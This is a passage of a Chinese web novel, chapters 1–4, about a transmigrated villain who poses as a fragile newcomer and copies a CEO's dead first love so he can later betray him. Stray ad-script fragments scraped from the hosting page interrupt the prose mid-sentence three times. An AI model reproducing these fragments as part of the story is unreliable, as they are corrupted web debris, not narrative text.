《恶役美人翻车了[快穿]》 1. 金丝雀1 “李导,这件事真的……真的不可以。” 微微颤抖着的、无助的声音在耳边响起,顾砚礼收了手机抬头看去,他这个角度正好能看见旁边的阳台,银白发的青年侧背对着他,只露出小半张苍白的侧脸,紧咬着唇,看起来格外无助。 顾砚礼的视线移动到另一个的身上,是一个长得肥头大耳的地中海,顾砚礼甚至能看到地中海眼中的迫不及待和淫邪之色,就要上手去摸青年的脸。 “你不是想拍电影吗?”地中海声音里带着诱哄,“你让我高兴了,男二号肯定是你的。” “李导,我不是这样的人。”叶寒枝眼底极快地闪过一丝厌恶,脸上却带着委屈和被羞辱的神色,避开了李导的手,“我绝不会接受你的潜规则的,这是我的底线!” “怎么说得那么难听呢?这哪是什么潜规则?”李导一脸急色地扑过来,“刚才你不是已经收下了我的房卡吗?现在又在装什么?你让我高兴了你想要的也有了,有什么不能做的?” “不要——” “李导。”温和沉静的嗓音响起,打断了叶寒枝的喊声,也打断了李导的动作,“原来你在这里。” 李导转头看去,脸色瞬间变得谄媚,他警告般地看了一眼身后惶恐不安的叶寒枝,然后微弯着腰站到男人面前,“顾总,您怎么在这里?” 顾砚礼余光扫了一眼银发青年,见青年低着头手足无措地站在那里,虽然看不清脸上的表情,却也能感受到他的害怕。 顾砚礼神色温和,“在这里谈合作顺便出来接个电话,没想到遇到了李导你。”他话题一转,看向后面的叶寒枝,“这位是?” “这是,这是我剧组里的一个小演员,我正在给他讲戏呢。”李导语气自然,“他有点天赋,当导演的总是舍不得埋没任何一个好演员。” “原来是讲戏。”顾砚礼说,“远远地看着,我还以为是李导想和这位小演员亲密地接触接触。” 李导后颈一凉,他忍不住看了一眼顾砚礼,顾砚礼看起来依旧是一副温和有礼的模样,只是那说出来的话却似玩笑又似警告,让他不敢再说什么。 顾砚礼如今是他的金主爸爸,就算不是金主爸爸,也是掌握着娱乐圈大部分资源的人,得罪他并不会有什么好果子吃。 李导擦了擦冷汗,干笑道,“那是……那是误会,误会——你说是不是?”后面这句话是对一旁一直没说话的叶寒枝说的。 叶寒枝怯怯地看了一眼顾砚礼,又在接触到李导威胁的视线后受惊似的收回视线,“我……我,我不知道。” 叶寒枝的速度太快,顾砚礼只来得及看到遮住眉眼的银发,轻轻地晃动着,看起来格外柔软。 听见叶寒枝的话,李导暗暗地瞪了叶寒枝一眼,又立马为自己正名,“顾总,您也是知道的,现在那些小明星不走正途,总想着走捷径——” “我不是。”叶寒枝的声音微不可闻,在为自己说话,“我没有,我不想……” 一直朝叶寒枝泼脏水的李导没听见,顾砚礼却听见了这夹杂在李导的声音里柔软又无助的声音,他平静地打断了李导的话,“李导,天晚了。” 李导明白顾砚礼在赶人了,忙道,“是是是,顾总,我这就走。” 说罢,他拽了一下身后的叶寒枝,“赶紧的,走了。” 叶寒枝被拽得一个趔趄,他连忙稳住身形,却依旧没说话。 看见这个动作,顾砚礼轻皱了下眉,“李导,你走就好,他留下。” 李导一愣,他看看银发叶寒枝又看看顾砚礼,似是明白了什么一般,脸上露出原来如此的表情来。 等到李导走了,顾砚礼才看向面前的叶寒枝,他说,“他已经走了。” “谢谢。”叶寒枝的声音很低,他缓缓抬起头来看着顾砚礼,“谢谢顾总替我解围……” 顾砚礼说,“不必谢我,我能帮你一次,不代表次次都能帮到你。” 叶寒枝张了张嘴又闭上,显然,他很清楚顾砚礼说的是对的。 顾砚礼还想说什么,面前的青年眼底却缓缓地浮现出泪光来,他轻声说,“不管怎么说,今天都谢谢顾总,如果不是你,说不定我已经……”说不定他已经一板砖给那个李导脑袋砸下去了。 顾砚礼的视线在叶寒枝那双眼上停顿了片刻又礼貌收回,“那个李导是圈里出了名的好色之徒,他不仅男女通吃,甚至还会用不光彩的手段对付一些小明星。” 说到这里,顾砚礼忽然有些懊悔,他说得太详细了说不定面前这个小明星会害怕,这让他忍不住看了一眼小明星,果不其然,小明星眼中瞬间带了惊慌之色。 顾砚礼微顿了片刻继续说,“不过,他是上门女婿,老婆很强势,他在家里没什么话语权。” 叶寒枝瞬间明白了顾砚礼的话,这是让他去把这事捅到李导的家里去。 小明星的眼圈还泛着红,眼底带着点若有所思。 见状,顾砚礼便知道小明星听进去了,他说,“我还有事,那就先走了。” 叶寒枝双手环抱着,往后靠在身后的墙壁上看着顾砚礼的背影,幽幽问,“刚才的表演怎么样?有几分像他的白月光?” 砰的一声,叶寒枝脑袋旁边飞了一只肥啾,它叽叽喳喳的,「特别像,而且今天你完美复刻了他和白月光的初遇,他的脑子现在肯定很混乱,啾。」 叶寒枝对顾砚礼现在是什么心情并不感兴趣,他点评了一番顾砚礼的长相,“他长得挺帅的,还挺符合我的审美,不过比我差点就是了。” 肥啾看了看叶寒枝的脸,又回忆了一番刚才的顾砚礼,「啾,在你们人类的语言中,他那应该叫英俊,而你叫漂亮,你们赛道不同。」 叶寒枝懒得和肥啾争论这些,他打了个哈欠又伸了个懒腰,“啊……该回去睡觉了。” 「不行!」肥啾飞到叶寒枝头上,「你还得等着顾砚礼出来,啾。」 “……” 「啾,刚才你面对那个李导的时候动了杀心对吧?对吧?」 叶寒枝:“……动杀心怎么了?反正我是反派。” 反派,通俗点说就是和主角作对的坏人,叶寒枝就是这样的人。 年幼时的叶寒枝只有一个梦想,做一个平凡的人,能吃饱穿暖过完一生就好了,长大一些后吃不饱穿不暖 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,被一起长大的人欺骗背叛,和流浪狗抢一个面包,被流浪狗追得满街跑的时候,叶寒枝才知道即便是想要做一个平凡的人也是很难的。 甚至,活下去也很难。 想要活下去,或者说想要活得好,那你必须得自私冷漠一些,又或者,不择手段一些。 第一次被人优待的时候,那个男人轻轻地摸着他银白色的发,说话轻柔地仿佛语气重一些就会把他吓碎一般,那双眼却痴迷地看着他的脸。这个时候叶寒枝明白了,他的脸就是他能过得好的利器,他只需要利用好这个东西……他会过得比任何人都好。 事实上也的确如此,他的脸能迷惑很多人,让那些人心甘情愿地为他奉上一切。 如果不是出了车祸…… 「我是反派角色扮演系统,啾。检测到你反派值高达100%,是最合格的反派角色,请问你愿意和我签订契约吗?一旦签订契约,你要跟我去往其他的世界扮演反派——你也可以拒绝,一旦拒绝你的100%反派值会发挥作用,你将消散于三千世界中。当然作为回报,你的灵魂不会消散。」 这样说了,他根本没有拒绝的余地啊,毕竟他……还是想好好活下去的。 所以他来到了这个世界,无cp文的男主顾砚礼,在娱乐圈开疆扩土,眼光毒辣,捧出了无数的大明星影帝影后,但他有个早死的白月光,白月光柔弱美丽,在顾砚礼把眼睛看向娱乐圈的时候,发现一个气质和白月光几乎一模一样的小演员。 很显然,这个小演员并不是白月光设定,只是在某一瞬间,顾砚礼把他和白月光的影子重合罢了。 …… 肥啾一只叽叽喳喳的,叶寒枝百无聊赖地看着灯下的飞蛾扑闪着翅膀想要靠近那盏灯。 他听肥啾的话在这里等了许久顾砚礼都没来,已经快没什么耐心了,肥啾在一旁瞅了瞅叶寒枝的表情,小声说,「别盯了,来了来了。」 来了? 叶寒枝余光扫了一眼玻璃门内,果然在顾砚礼和一群人从大礼堂走出来,在一群人来,男主身高腿长脸英俊,格外显眼。 一见到顾砚礼出来,叶寒枝瞬间收敛了那副漫不经心的表情站直了身体,朝着被人群拥簇着的男人喊道,“顾总!” 一行人随着这声顾总纷纷转过头来,看到了站在酒店门口的叶寒枝。 叶寒枝就在灯下,灯光打在他银白的发上,隐隐有光芒跳跃,白皙的皮肤上细小的绒毛都清晰可见,他有着一张无比精致美丽的面容,眼尾微微下垂着,看起来无辜又纯洁,柔弱且没有攻击性。 顾砚礼身边的人纷纷露出了然又暧昧的笑容来各自散去。 顾砚礼抬起脚来到叶寒枝面前,他微微垂下眼看着叶寒枝,“你怎么还在这里?很晚了,你该回家好好休息才对。” “我……我专门等你的。”叶寒枝露出一双微红的眼,含着无措和委屈,看起来如同无家可归的小兽。 “等我做什么?”顾砚礼温声问。 “等你……”叶寒枝唇动了动,垂下头去,银发遮住了他的眉眼,只能看见长长的睫毛颤抖着,“顾总,我可不可以……跟着你。” 2. 金丝雀2 叶寒枝坐在沙发上,露出一副惴惴不安地去偷看顾砚礼的侧脸,在顾砚礼偶尔抬眼时露出怯生生的笑容。 他一边调整着自己精心设计过的角度,以保证顾砚礼一见到他就想起白月光,一边小声和肥啾吐槽,「你看,男人就是这样的生物,心里有着白月光偏要找个替身来彰显自己的深情,这行为真是恶心极了。」 肥啾:「明明是你主动走进他眼中的,啾。」 「那怎么一样呢?」叶寒枝理直气壮,「他要真为白月光守身如玉,就算我和他的白月光共用一张脸他都不会带我回来,带我回来不就说明他根本没有那么喜欢白月光,显然只是喜欢这种类型的人而已——说到底,有问题的不是我,是他啊。」 肥啾:「……啾,你说的是。」 叶寒枝的视线从顾砚礼脸上移开,不着痕迹地打量着书房,靠墙的几个书柜上都满满当当地摆满了书,窗户上还挂着吊兰。 他刚才跟着顾砚礼进来的时候就发现了,这个人家里的装修是暖色调的,给人的感觉很温馨,和其他霸总人设的黑灰白冷色调完全不同。 叶寒枝记得肥啾说过,顾砚礼有一个很幸福的童年,父母恩爱,家庭氛围特别好,所以顾砚礼本人也是个体贴的君子,总之和他完全不同。 在叶寒枝还中二的时候,这样的人就是他最嫉恨的人,现在他成熟了,就算嫉妒或者讨厌也不会摆在明面上,更何况顾砚礼算是他的任务对象。 顾砚礼余光落在明显走神的青年身上,开口,“这里的书都可以看的。” 叶寒枝慢半拍,他眨了眨眼,“我知道的顾总,你……还有很久吗?” “快了。”顾砚礼敲电脑的手微顿,他看着叶寒枝,唇角依旧是温和有礼的微笑,“文件发出去就好了,让你在这里等我这么久真是不好意思。” “没有,没有,我才是……”叶寒枝怯生生的,“对不起,打扰到你了。” “没有打扰到我。”顾砚礼看着电脑上显示着文件发送成功这样的字样后抬眸,“你说你叫叶寒枝对吗?” “对,我叫叶寒枝。”叶寒枝白皙的脸上泛起一点红,在灯光下格外明显,他目光躲闪着不敢看顾砚礼,“我知道我的要求很唐突,您肯定会看不起我这样的人,觉得我自甘堕落,我只是……” 青年的声线有些紧张和颤抖,顾砚礼看他连话都因为害怕说不完整时,唇角的笑意散了,轻声细语地安抚着,“别紧张,慢慢说,我没有觉得你自甘堕落。” 叶寒枝抬起已经湿润的睫毛看着顾砚礼,唇被咬得泛白。 “我知道你的想法。”顾砚礼说,“在娱乐圈里,这样的事情会有很多,你觉得跟着我那些人就不敢对你怎么了,对吗?” 叶寒枝有些羞耻地点了下头。 顾砚礼凝视着叶寒枝的双眼,“你真的想跟着我吗?这真的是你想要的吗?” 叶寒枝没有避开顾砚礼的目光,再次点了下头,声音不大却很坚定,“是,我想要。” 顾砚礼轻轻叹了口气,“你可以借着我的名头保护自己,你不需要跟着我,这对你的名声不好。” 叶寒枝:“……”这人搁这做慈善呢? 「他本来就是慈善家……」肥啾插嘴。 叶寒枝没说话,却站了起来走到了顾砚礼前面,他低下头来看着顾砚礼搁在桌上的手,顾砚礼的手指很长,骨节分明,青筋从手背没入袖子之中。 唔,和那张温和的脸看起来完全不一样呢。 叶寒枝的视线从这只手上一点点移到顾砚礼的脸上又收回,他微微弯腰,T恤的领口宽大。随着叶寒枝的靠近,顾砚礼闻到一股极淡的香味,他甚至不需要动一下就能从叶寒枝领口看进去。 顾砚礼倏地移开眼睛身体顿时僵硬起来,“叶……叶寒枝?” “如果不让我跟着你,顾总为什么带我回家?”叶寒枝的声音还是很柔软,还带着几分迷茫,“我……我以为……” “晚上很冷,你穿得太单薄了。”顾砚礼喉咙有些痒,“你等我那么久,我不带你走的话,会有人嘲笑你。” 不如说,顾砚礼自己也不知道为什么他会把叶寒枝带回来,他以前也不是没有帮过那些差点被羞辱的小明星,可他从来不会有把人带回来的想法。 是因为叶寒枝那个时候看起来太可怜了吗? 叶寒枝抿了抿唇,“可是顾总,你带我走了,在他们眼里我就是你的人了,你如果不让我跟着你,他们同样会奚落我。” 顾砚礼别过脸,“抱歉。” “顾总,我……我知道这样太冒昧了。”叶寒枝局促不安地捏紧了自己的衣角,“不仅冒昧,你帮了我我却还想跟着你……我……” “慢慢说,别紧张。”顾砚礼有些哭笑不得,“我又不会吃人。” 叶寒枝深深地吐出一口气来,定定地看着顾砚礼,“我之前没拍过戏,这是第一次,可不仅是那个李导,我在剧组遇到了好几次这样的事情……我想,如果是那些人的话,不如是你。” 说到这里,叶寒枝的声音又低了下去,“对不起顾总,你帮了我,我却好像在对你进行道德绑架一样……” 顾砚礼对上叶寒枝那双似含泪的双眼,沉默了片刻说,“合同明天我让沈助理拿给你。” 叶寒枝一愣。 “我不会对你做什么的。”顾砚礼又说,“你也不需要对我履行任何义务,直到你觉得有能力在娱乐圈独当一面了。” 叶寒枝在心底轻嗤了一声,抬起眼睫时眼中已经闪烁着感激和崇敬的泪光,“顾总,谢谢你。” 叶寒枝的表情让顾砚礼微微移开眼,“嗯,今天晚上你就在客房住下,已经收拾出来了。” 叶寒枝小声问,“以后……我要住别的地方还是?” 顾砚礼微微迟疑了一下,“我也很少住在这边,明天我带你去浅水湾那边吧,以后住那里就行。” 叶寒枝说好。 “我让管家带你去客房。” 叶寒枝唇角一弯,“谢谢顾总。” 顾砚礼的视线在那明显露出微光的双眸上停顿片刻,声音很低,“去睡吧。” 叶寒枝说好。 “叶寒枝。” 叶寒枝回过头来,在灯光的照耀下眼波流转,“顾总,你可以叫我寒枝,叶寒枝太生份了,不是吗?” 顾砚礼想说的话一瞬间忘得干干净净,寒枝两个字在舌尖转了一圈后,他后知后觉意识到叶寒枝说这句话的时候表情并没有害羞怯懦。 …… 叶寒枝跟在管家旁边往客房走,头顶的灯光一步一明,一步一暗。 停在一扇房门前,管家伸出手开口,“叶先生,这就是你今晚住的房间。” “谢谢。”叶寒枝语气温柔,“辛苦你了。” “ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不辛苦,我应该做的,叶先生早些休息。” 管家微微颔首后退,十分有礼貌。 叶寒枝在心底问肥啾,「你知道浅水湾在哪里吗?」 「啾。」迅速搜索之后,肥啾说,「是望城的富人区,那里可是寸土寸金,顾砚礼的确常住那边。」 「哦。」叶寒枝说,「我还以为他要金屋藏娇呢。」 肥啾:「……」 叶寒枝说,「你为什么不说话?」 「我一直想问,你为什么要扮演成小白花模样接近顾砚礼?」肥啾奇怪问,「反正都是要和顾砚礼翻脸的,啾。」 在肥啾的剧情设定里,这个角色是在试镜的时候被顾砚礼发现的,尽管长相不同,可前反派在试镜时扮演剧中角色一瞬间让顾砚礼幻视了他早死的白月光,也是因此前反派被顾砚礼记住。 但顾砚礼并没有打算包养一个小明星,毕竟这是一篇无cp文,而顾砚礼独爱白月光,所以前反派只是签约了星河娱乐成为了其中的一名艺人。 前反派毕竟是反派,从底层爬起来和男主成为朋友被男主力捧,各种各样的资源纷沓而来,前反派理所当然被鲜花和掌声环绕成为了国际巨星,这个时候他的野心膨胀,已经不仅限于小小的娱乐圈了,他想要夺取顾砚礼的公司。 ——最后当然是锒铛入狱,从意气风发的大明星成为了阶下囚。 被主角捧红的人转头背刺主角,当然会被读者们厌恶,按照肥啾的说法,前反派被骂得太惨了,宁愿从这本小说里永远消失也不再做前反派了。 肥啾就是这样诞生的,要把这些消失的角色填补上来,所以它找到了叶寒枝。 对叶寒枝来说做反派也好,主角也好,就算被读者骂也好——反正他也看不见,只要能让他过得舒心那他都能干,更何况做个坏蛋而已,对他来说是最轻松的事了。 反正他本来也不是什么温柔善良的好人。 老实说,他还挺欣赏前反派的,能爬到国际巨星这个位置不仅仅是被捧就能起来的,能被设置为反派的肯定有他的过人之处,可惜路走窄了,亲自去偷取公司机密这点实在降智,也难怪会被当场抓捕。 这个角色的设定和叶寒枝走的路线完全不同,叶寒枝没打算和前反派一样做什么国际巨星,那太累了,他还是喜欢让自己轻松一点的方式。 在看到顾砚礼那个早死的白月光的设定后,叶寒枝就有了想法。 复刻顾砚礼和白月光的初遇,把自己包装成需要依附他人而活的金丝雀,然后让顾砚礼注意到他,之后他会住进顾砚礼的家,用白月光的姿态让顾砚礼爱上他,他再抛弃和背叛顾砚礼,这样顾砚礼肯定会无比痛苦。 叶寒枝满怀恶意地想,像顾砚礼这种过得幸福美满的人就应该狠狠地摔一个跟头才对,毕竟顾砚礼这种人真是让他觉得太讨厌了,不过是有了一个好的父母而已—— 反正都是要和顾砚礼翻脸的,那当然要选择让顾砚礼最痛的方式呀,顾砚礼痛苦了,叶寒枝就高兴了。 「嗯……所以你不觉得很有趣吗?」叶寒枝问。 「啾,有趣?」 「高高在上的天之骄子身心都被读者最讨厌的反派玩弄于股掌之间……不觉得这样很有趣吗?」 叶寒枝在柔软的大床上滚了两下,最后抱着枕头愉悦地弯起眼眸,他真的迫不可待地想要看到顾砚礼露出痛苦的表情来。 3. 金丝雀3 顾砚礼的合同特别正常,正常到叶寒枝在心底感叹,这就是一份再普通不过的合同啊,而且合同自由度挺高,也没有限制什么不能谈恋爱之类的东西,总之不像是金主合约。 叶寒枝干脆利落地签了自己的大名,把合同递给顾砚礼,顾砚礼看了一眼叶寒枝签的名,叶寒枝三个字轻盈秀丽又透着几分力道,倒很像叶寒枝本人,柔弱又透露着坚强。 他把合同交给一旁的沈助理,在沈助理离开办公室后看着叶寒枝,“你现在在李导的剧组拍戏?” “就是一个小配角,特别特别小,几场戏,我已经拍完了,李导夸了我几次我演的好。”叶寒枝有些赧然,“他好像在筹备新剧本,我就想着或许可以争取一下……” “他就塞给了你房卡?”顾砚礼微微皱眉。 “那天,那天是男主角的杀青宴,他特意叫上我,我本来没打算去的。”叶寒枝低下头遮住自己的眼睛,“他说可以让我看看新剧本,我以为——谁知道他在人群中塞了我一张房卡,在我出来打电话时准备做那种事……” 叶寒枝的声音听起来很平静,但顾砚礼还是察觉到了他平静之下的茫然和委屈,显然不明白为什么之前夸他的导演突然就变成了那种人。 顾砚礼说,“你演得好他夸你,但不影响他想潜规则你,现在既然你是我的艺人,那么我不会让这种事情发生。” 叶寒枝睫毛轻颤着抬起头来,他看着顾砚礼喃喃,“顾总……” “不必担心。”顾砚礼温和地笑了笑,带着几分宽慰,“我旗下的艺人不需要做出卖身体换来资源这种事。” 这倒是真的,据说之前有个经纪人想给艺人拉皮条,被顾砚礼毫不留情地辞退了。 叶寒枝露出一个坚强的微笑。 顾砚礼的视线在叶寒枝的笑容上停留了一瞬又移开,“经纪人这方面,有没有了解过星河的经纪人?有什么想法吗?我会尽量满足你。” 叶寒枝轻声说,“了解过。” 其实并没有了解。 肥啾在叶寒枝耳边小声说,「星河有一个金牌经纪人,季肖,男的啾,和顾砚礼是朋友,他是由演员转向幕后的,不过他现在手上带着一个顶流,你去的话他不一定重视你,啾。」 “那你最中意谁?”顾砚礼问。 叶寒枝摇了摇头,声音很低,“我其实没有很大的能力,所以我……” “你长得很美。”顾砚礼的语气中没有任何亵渎意味,甚至带着几分真情实感的夸赞,“就算是没有能力,仅凭脸也能在娱乐圈混得风生水起。” 叶寒枝小声说,“你在告诉我就算没能力也可以吗?” “不是。”顾砚礼笑了一下,“我只是想和你说,你很适合娱乐圈,所以不用担心成名的问题,还有……” 叶寒枝疑惑地看着顾砚礼,顾砚礼应上叶寒枝那双带着疑问的眼睛说,“你很聪明,学什么都会很快的。” “可是我刚进星河娱乐……” 顾砚礼看出叶寒枝脸上的窘迫,带着鼓励道,“你需要把你心里所有的想法都表达出来,我才能知道你的想法,也才能知道谁最适合带你,不要有那种你不配的想法,你很好,什么都配得上。” 那当然,叶寒枝心想,经纪人也好,什么都好,只有最好的才配得上他。 但他现在还是小白花怎么能表现出这种情绪来,所以叶寒枝极轻地摇了摇头。 “有什么担心的也可以说出来,说出来我才能帮你解决。”顾砚礼说,“叶——寒枝,既然你说了你要跟着我,那么什么都不需要顾忌。” 叶寒枝抿紧了唇,许久才说,“我怕被骂。” 顾砚礼愣了下,随即无奈地笑了一下,在娱乐圈的人没有谁不被骂的,可顾砚礼显然不能把这话和叶寒枝说。 他斟酌着说,“成名的路上会伴随着鲜花和掌声,但也不可避免会有荆棘刺手……星河娱乐会尽力保护好你。” “有野心并不是坏事。”顾砚礼又说,“在娱乐圈的人,没有人不想成名。” 叶寒枝低低地应了一声,“我没有……很想成名,我只想混口饭吃,我只是不想再回到那种吃不饱穿不暖的日子。” 假话中混杂着偶尔的真话便显得更有说服力,而利用自己可怜的过去激起这个男主的同情也没什么不好。 顾砚礼果然一怔,但他并没有去过问叶寒枝私事的想法,只说,“以后不会了。” 叶寒枝嗯了声。 “所以现在告诉我,你有想选择的经纪人吗?”顾砚礼把话题拉回经纪人上,“谁都可以,只要你想。” “星河那位金牌……”说到这里,叶寒枝又抿紧了唇。 “你说季肖?”顾砚礼见叶寒枝开口表达自己的想法,唇角扬起一抹笑意,“怎么不继续说了?” “……”叶寒枝用力摇了摇头,“我都可以的!谁都行。” 顾砚礼有些无奈,可他也知道,说到这里已经很不容易了,从叶寒枝的表现中不难看出他曾经过得不好,以至于现在自卑怯懦,这种性格不是一天两天就能改变的,至少叶寒枝表达了自己的想法,想要消除掉这种自卑,也得慢慢来。 “季肖今天在正好在公司。”顾砚礼说,“我打电话给他,你和他见一面怎么样?” …… 季肖处理完了手下顶流爆出揍人的事,冷着一张脸推开顾砚礼办公室的门,“我忙得很,你最好是有很重要的事要——”和我说。 尾音未落,便看见了坐在一旁的银发青年,长着一张清纯漂亮的小白花脸,看人时带着点羞涩眼尾微微下垂着,无辜又纯洁,银白色的发柔顺地搭在眉眼上,看起来乖巧极了。 季肖硬生生把自己后面的话咽回去,在沙发上坐下,他看向顾砚礼:“老顾,这是?” “这是叶寒枝,签的新人。”顾砚礼说。 叶寒枝冲季肖露出笑容来,“季先生你好。” “新人。”季肖瞥向顾砚礼,“你叫我来又是做什么?因为夏艺榕的事?” “不是。”顾砚礼指了指叶寒枝,“因为他的事。” “他怎么了?”季肖问。 “你带他吧。”顾砚礼说。 季肖坐不住了,他倏地站起来,“不是,你——你,夏艺榕就不是省油的灯,他那暴脾气老给我惹事,我都被他粉丝骂惨了,你看我像是还有时间带新人吗?” “没时间吗?”顾砚礼问。 “当然没时间!” 顾砚礼看了一眼叶寒枝,见叶寒枝脑袋已经低到了胸前,手指紧紧地捏着衣角,看起来像被人抛弃的小猫,可怜极了。 这让顾砚礼有些后悔,觉得不该当着叶寒枝的面和季肖说这事,被喜欢的经纪人当面拒绝肯定很打击叶寒枝的自信心。 “季肖,夏艺榕可以让其他人带——” “顾总。”叶寒枝有些许颤抖地打断了顾砚礼的话,“不、不用了。” 季肖看向叶寒枝,叶寒枝已经抬起了头,他的睫毛有些湿润,红润的唇被咬得陷下去泛着白。 “顾总,不用了。”叶寒枝又重复了一句,他站起来,“抱歉,我去一趟洗手间。” 不等顾砚礼说话,他头也不回地离开。 “……”季肖回过头来,“他是不是哭了?” 顾砚礼回忆着叶寒枝的表情,脸色有些沉,听见季肖说话,他没 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 好气地开口,“他就在这坐着,你就算要拒绝也不能说得那么直白。” “不是,那你希望我怎么委婉啊?”季肖无语了一瞬后又问,“这人你从哪里找来的?长得确实漂亮,内娱没有这款。” 顾砚礼面无表情,“昨天晚上捡到的。” “捡到的?” 顾砚礼点了点头,他没有说叶寒枝要跟着他的事,也没说叶寒枝要住在他那里,他只道,“我答应了他,他想要谁做经纪人都可以。” 季肖:“他指名我?不是,你也没问过我的意见啊。” 顾砚礼满脑子都是叶寒枝那湿润的睫毛,眉头皱着没说话。 “你以前也没这么听话和好说话啊,什么叫他想要谁做经纪人都可以。”季肖盯着顾砚礼,“你对他好像有点不太一样。” 顾砚礼没有觉得哪里不一样,“以前那些艺人签进来也有选择经纪人的自由。” “但你不会答应他们说想选谁就选谁。”季肖说到这里冷笑一声,“甚至还打算让我只带他一个。” 顾砚礼不置可否,“你拒绝了。” “你不理智。”季肖摸着下巴摇了摇头,“那个叶寒枝给你灌了什么迷魂汤?” 顾砚礼瞪了季肖一眼,“别胡说八道。” 季肖切了一声站起来,“我走了。” “季肖。”顾砚礼又叫道,“带他吧,他想让你带。” 季肖:“……” “带他。“顾砚礼又说,“他很乖,你会很省心的。” 季肖哪里见过顾砚礼跟求他似的,顾砚礼向来都是天之骄子,从不会低三下四和人说话,现在竟然为了一个小新人这样……真让他好奇叶寒枝到底有什么魔力。 到底是多年的好友,惊讶的同时季肖没有再把话说死,他说,“我得想想。” 季肖穿过洗手间去乘电梯,经过洗手间时他脚步一收看向里面。 季肖看见叶寒枝撑着大理石板,镜子里映照叶寒枝那张漂亮的脸蛋,叶寒枝显然也看见了他。 前一秒叶寒枝还在和肥啾说,他想要,就会得到。现在季肖本人就出现在了身后,怎么不能说是一种缘分呢? 叶寒枝从镜子里看着季肖的身影,声音柔软,“季先生,您要走了吗?” 季肖微微皱眉,他总觉得现在的叶寒枝和办公室里的叶寒枝不太一样,面前的叶寒枝轻挑起眼尾,那份无辜感褪去,嘴角的笑容有几分轻蔑。 仅一瞬间,那分轻蔑又褪去了,依旧是小白花的模样。 “季先生,其实我没有别的意思。”叶寒枝回过身来,“我只是觉得你很忙,可以把我放养,我其实并不想成为大明星。” 季肖没什么表情地看着叶寒枝,他无法分辨叶寒枝说的话是真的还是假的,就像他不知道刚才那轻蔑的表情是幻觉还是那是叶寒枝的本性。 叶寒枝靠近季肖,明明是纯洁无瑕的模样,季肖却似乎看到了一朵有毒的罂粟花,他忍住了自己想要后退的欲望,但叶寒枝并没有在他面前停下,而是掠过了他的身边,像轻盈的蝴蝶,带着一点幽幽的香。 叶寒枝纤瘦单薄的身影消失,季肖的脸色却变得有些难看,从头到尾他一句话没说,但叶寒枝却似乎并没有发现他的不搭理,刚才在办公室里疑似难过自卑的模样都是装的? 叶寒枝……并非表现出来的那副乖巧模样,说不定还是怀着不可告人的心思接近的顾砚礼,否则以前从不在工作上徇私的顾砚礼怎么会对叶寒枝例外。 他当然可以现在回去告诉顾砚礼,可顾砚礼不一定会相信他,他也没什么证据……现在看来只能把这个人放在自己身边,看这个叫叶寒枝的究竟有什么心思。 4. 金丝雀4 顾砚礼在浅水湾的房子是独栋,叶寒枝已经不想去注意顾砚礼家的装修是什么样的了,倒是上二楼的墙面上挂着油画,墙上还挂着小花盆,看起来照顾得很精细,由此可见顾砚礼还是个很有闲情逸致的人。 也可能是帮佣照顾得好,毕竟顾砚礼也是个总裁……什么的。 “季肖说要带你。”顾砚礼开口,“明天去公司的时候他会和你说你的规划。” 叶寒枝牵起唇角,笑得有些涩然,“顾总,您怎么和季先生说的,季先生他……似乎很讨厌我,不想带我的……” 顾砚礼心知是季肖说的话让叶寒枝伤心了,从洗手间回来的时候眼睛那么红,肯定是哭过了。 “季肖说话确实有点不中听,但他没有恶意。”顾砚礼轻言细语,以免又让叶寒枝难过,“你这么乖,他肯定愿意带你。” 叶寒枝看起来有些纠结,唇动了动说,“如果……如果季先生不愿意的话,我们不必勉强他的,毕竟我的确是个没有丝毫曝光度的新人。” 叶寒枝说的是我们,顾砚礼眉梢轻轻地动了动,他含笑道,“不勉强,他自愿给我打了电话说想带你。” 叶寒枝轻轻地哦了声。 “时间已经不早了。”顾砚礼把叶寒枝带到房间门口,“房里有独立卫浴,走廊尽头倒数第二个房间是公共卫浴,你想在哪里洗都行。” 叶寒枝迈进房间里,他抬头看着顾砚礼,“顾总,谢谢你。” “不必谢我。”顾砚礼说完又停顿了片刻说,“私底下也不必叫我顾总。” “好的,顾先生。”叶寒枝从善如流换了个称呼。 顾砚礼垂下眼看着叶寒枝,青年的眼瞳颜色很浅,抬头时走廊上明亮的灯光映在青年的眼中,让顾砚礼想到了幼年时玩过的弹珠,在广下时总是闪烁着美丽的色彩。 顾先生三个字从叶寒枝嘴里喊出来,与其他人不一样……顾砚礼这样想着。 “顾先生。”叶寒枝说,“明天我和你一起去公司吗?” “我安排人送你。”顾砚礼说。 叶寒枝一愣,他抿紧了唇,眉头又轻蹙起来,“顾先生是担心我……惹麻烦吗?” “……不是。”顾砚礼有些无奈,温声解释,“我明天不去星河,更何况你以后要当大明星,和我一起去公司容易被拍,其他人也会说闲话,对你来说不好。” 叶寒枝看着顾砚礼的眼睛,眸光闪烁着,“说什么闲话?” “说你被金主包养——” “可我难道不是被你包养了吗?”叶寒枝的语气无辜至极,“我签了你的合同,住进你的家里,你还给让金牌经纪人带我,以后说不定还得需要你给我资源……这不是包养吗?” 顾砚礼:“……”他并没有包养叶寒枝的意思,他更不可能包养一个男人,只是当时看叶寒枝太可怜他动了恻隐之心想帮助叶寒枝而已。 “你避开我,会让我觉得自己做了错事,也许我不该住在你这里。”叶寒枝又失落地垂下眼。 “没有……”顾砚礼又妥协了,“明天我和你去公司,季肖给你的规划我也会看看。” 叶寒枝的眼睛又亮了起来,他说,“好。” 顾砚礼看着叶寒枝的欢喜的表情,唇角也泄露出一丝极淡的笑意,叶寒枝还是笑起来更好看一些,露出无助的表情实在叫人心疼,也让人忍不住顺着他。 “那么,顾先生,晚安。” 叶寒枝手扶着门把,冲顾砚礼说的话轻快又愉悦。 顾砚礼说,“晚安。” 叶寒枝关上房门,隔绝了顾砚礼的视线,脚步轻快地去往浴室。 肥啾莫名其妙,「你这么开心做什么?」 「别管。」叶寒枝哼笑一声。 「啾!」肥啾气哼哼的,「你骗一个好人你不会良心不安吗?」 「良心不安?」叶寒枝摸了摸跳动得很有节奏的心脏,眨巴了下眼,「没有诶,它跳得很轻松。」 肥啾:「……」 “更何况。”叶寒枝出声,“我们可是反派,是要让顾砚礼一无所有的。” 